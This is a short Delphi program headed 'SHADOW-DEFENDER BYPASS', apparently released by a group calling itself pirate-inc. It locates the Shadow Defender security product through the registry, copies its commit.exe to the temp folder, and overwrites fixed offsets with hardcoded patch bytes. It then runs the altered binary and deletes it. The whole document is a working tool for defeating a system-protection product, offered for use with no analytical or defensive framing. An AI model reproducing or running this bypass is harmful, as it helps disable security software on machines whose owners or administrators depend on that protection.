SHADOW-DEFENDER BYPASS

program demo;

// pirate-inc (c) : [email protected]

{$r *.res}

uses
  windows,shellapi;
var
one_data : array [0..6] of byte = ($90,$90,$90,$90,$90,$39,$DB);
one_addr : cardinal = $00002D76;

tow_data : array [0..33] of byte = ($56,$FF,$15,$E8,$F2,$43,$00,$68,$E8,$03,$00,$00,$56,$FF,$15,$20,$F2,$43,$00,$A9,$02,$01,$00,$00,$75,$ED,$6A,$00,$FF,$15,$F8,$F0,$43,$00);
tow_addr : cardinal = $00002E4E;

mov_data : byte = $89;
mov_addr : cardinal = $0000268E;

ini_data : array [0..02] of byte = ($89,$DE,$75);
ini_addr : cardinal = $00002A3E;

function __loader (param : string):bool;
var
hshadow : hkey;
vshadow,tempdir : array [ 0..255] of char;
rshadow,temppath : string;
written : dword;
readden : integer;
hfile : cardinal;

begin
result := false;
if regopenkeyex(HKEY_LOCAL_MACHINE,'Software\Shadow Defender',0,KEY_ALL_ACCESS,hshadow) <> 0 then exit;
if regqueryvalueex(hshadow,'Path',nil,nil,addr (vshadow),addr (readden)) <> 0 then exit;
rshadow := string (vshadow) + '\commit.exe';
gettemppath (max_path,addr (tempdir));
temppath := string (tempdir) + 'commit.exe';
copyfile (pansichar (rshadow),pansichar (temppath),false);

hfile := createfile (pansichar (temppath),GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0) ;
if hfile = 0 then exit;
setfilepointer (hfile,one_addr,nil,FILE_BEGIN);
if writefile(hfile,one_data,length (one_data),written,nil) = false then exit;
setfilepointer (hfile,tow_addr,nil,FILE_BEGIN);
if writefile(hfile,tow_data,length (tow_data),written,nil) = false then exit;
setfilepointer (hfile,mov_addr,nil,FILE_BEGIN);
if writefile(hfile,mov_data,1,written,nil) = false then exit;
setfilepointer (hfile,ini_addr,nil,FILE_BEGIN);
if writefile(hfile,ini_data,length (ini_data),written,nil) = false then exit;
closehandle (hfile);
shellexecute (0,'open',pansichar (temppath),pansichar (param),nil,sw_show);
while deletefile (pansichar (temppath)) = false do  sleep (1);
result := true;
end;

begin
if paramcount > 0 then __loader (paramstr(1));
end.